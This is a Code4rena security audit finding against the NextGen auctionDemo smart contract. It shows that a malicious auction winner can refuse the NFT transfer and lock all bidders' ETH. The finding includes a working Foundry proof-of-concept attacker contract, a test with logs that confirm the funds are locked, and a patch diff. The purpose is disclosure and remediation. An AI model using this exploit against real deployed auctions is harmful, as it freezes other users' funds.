Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

A malicious (or buggy) auction winner can refuse to accept the token and cause all bidders' funds to be locked in the auctionDemo contract. After the auction closes, the winner or admin can call claimAuction to initiate the transfer of the token to the winning bidder, the transfer of eth to the token owner, and the refunding of the losers bids. However, if the call to safeTransferFrom reverts for some reason (e.g. a malicious onERC721Received handler), then claimAuction will revert and all the funds will be locked in the auctionDemo contract. After the auction ends there is no other mechanism for funds to be transferred from the contract.

Proof of Concept

The call to IERC721(gencore).safeTransferFrom in L112 can revert. A malicious winner can lock the funds as claimAuction is also responsible for refunding losing bids:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

safeTransferFrom will eventually call _safeTransfer in ERC721.sol:

    function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
    }

If _checkOnERC721Received returns false or reverts, then the transfer will revert:

    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    /// @solidity memory-safe-assembly
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

A malicious winner could easily force this condition via the onERC721Received

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        console2.log("Attacker won the auction, but refuses the token");
        return 0;
    }

PoC Tests

Create test/AuctionDemoMaliciousWinner.t.sol and run forge test --match-test test_attackerDeniesLosingBidRefunds.

pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";

import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/MinterContract.sol";

import "../smart-contracts/AuctionDemo.sol";

contract Attacker2 is Test {
    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        console2.log("Attacker won the auction, but refuses the token");
        return 0;
    }

    receive() external payable {}
}

contract TestExploit is Test {
    address public bob = address(0xb0b);
    address public artist = address(0x123456);
    NextGenAdmins public nextGenAdmins;
    randomPool public xRandoms;
    NextGenCore public gencore;
    NextGenRandomizerNXT public randomizer;
    DelegationManagementContract public del;
    NextGenMinterContract public minter;

    //Auction specific
    auctionDemo public demo;
    uint256 public token_to_auction;
    address public bidder1 = address(0x1111111111);
    address public bidder2 = address(0x2222222222);

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        //Approve the AuctionDemo contract to spend tokenId
        gencore.approve(address(demo), tokenId);
        token_to_auction = tokenId;

        return this.onERC721Received.selector;
    }
    function setUp() public {
        vm.chainId(1);
        vm.createSelectFork("https://eth.llamarpc.com"); 

        vm.startPrank(bob); //bob is the owner of this deployment
        //Deployment:
        nextGenAdmins = new NextGenAdmins();
        xRandoms = new randomPool();
        gencore = new NextGenCore("Foo", "Bar", address(nextGenAdmins));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(nextGenAdmins), address(gencore));
        del = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(gencore), address(del), address(nextGenAdmins));

        //Setup a collection ready for minting
        //Taken from nextGen.test.js
        string[] memory script = new string[](1);
        script[0] = "desc";
        gencore.createCollection("Test Collection 1","Artist 1","For testing","www.test.com","CCO","https://ipfs.io/ipfs/hash/","",script);
        gencore.setCollectionData(
            1, // _collectionID
            artist, // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
            );
        gencore.addRandomizer(1, address(randomizer));
        gencore.addMinterContract(address(minter));

        minter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod - XXX changed from 0
        1, // _salesOptions
        address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress
        );

        minter.setCollectionPhases(
          1, // _collectionID
          1696931278, // _allowlistStartTime
          1696931278, // _allowlistEndTime
          1696931278, // _publicStartTime
          1796931278, // _publicEndTime
          bytes32(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) // _merkleRoot
        );

        //Initialize an auction
        demo = new auctionDemo(address(minter), address(gencore), address(nextGenAdmins));
        minter.mintAndAuction(address(this), "hello world", 0, 1, block.timestamp + 60);
        vm.stopPrank(); //bob
    }

    function test_attackerDeniesLosingBidRefunds() public {
        Attacker2 attacker = new Attacker2();
        require(block.timestamp < minter.getAuctionEndTime(token_to_auction));

        //deal some eth to the bidders
        vm.deal(bidder1, 3 ether);
        vm.deal(address(attacker), 5 ether);

        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("bidder1 eth balance: %d", bidder1.balance);
        console2.log("attacker eth balance: %d", address(attacker).balance);

        //bidder1 bids some
        vm.prank(bidder1);
        demo.participateToAuction{value:3 ether}(token_to_auction);

        //attacker bids the winner
        vm.prank(address(attacker));
        demo.participateToAuction{value:5 ether}(token_to_auction);

        //Auction is over:
        vm.warp(minter.getAuctionEndTime(token_to_auction) + 1);
        vm.startPrank(bob); //bob is the auction owner and admin
        //claimAuction to send token to winner and refund losers.
        //This fails as the attacker triggers a revert in by failing onERC721Received() when the token is sent
        vm.expectRevert();
        demo.claimAuction(token_to_auction);
        vm.stopPrank();

        //bidders are unable to cancelBids (as the auction is over!)
        vm.startPrank(bidder1);
        vm.expectRevert();
        demo.cancelAllBids(token_to_auction);
        vm.stopPrank();

        console2.log("Funds are locked in the auctionDemo contract, and bidders are out of luck (and funds)!");
        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("bidder1 eth balance: %d", bidder1.balance);
    }
}

[PASS] test_attackerDeniesLosingBidRefunds() (gas: 684059)
Logs:
  auctionDemo eth balance: 0
  bidder1 eth balance: 3000000000000000000
  attacker eth balance: 5000000000000000000
  Attacker won the auction, but refuses the token
  Funds are locked in the auctionDemo contract, and bidders are out of luck (and funds)!
  auctionDemo eth balance: 8000000000000000000
  bidder1 eth balance: 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 88.91s

Tools Used

VScode. Foundry

Recommended Mitigation Steps

Execute the safeTransferFrom in a try statement. If it reverts, then refund the winner (don't pay the token owner as the token isn't transferred) and continue to refund the losers.

The below diff fixes the issue:

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..b1e8d0b 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -109,9 +109,15 @@ contract auctionDemo is Ownable {
         address highestBidder = returnHighestBidder(_tokenid);
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
-                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-                (bool success, ) = payable(owner()).call{value: highestBid}("");
-                emit ClaimAuction(owner(), _tokenid, success, highestBid);
+                try IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid) {
+                    (bool success, ) = payable(owner()).call{value: highestBid}("");
+                    emit ClaimAuction(owner(), _tokenid, success, highestBid);
+                } catch {
+                    //transfer failed. refund the highestBidder and continue to refund losing bidders
+                    (bool success, ) = payable(highestBidder).call{value: highestBid}("");
+                    emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
+                }
+
             } else if (auctionInfoData[_tokenid][i].status == true) {
                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid)

Assessed type

Token-Transfer

code-423n4 / 2023-10-nextgen-findings

Malicious auction winner can lock losing bidder's funds #242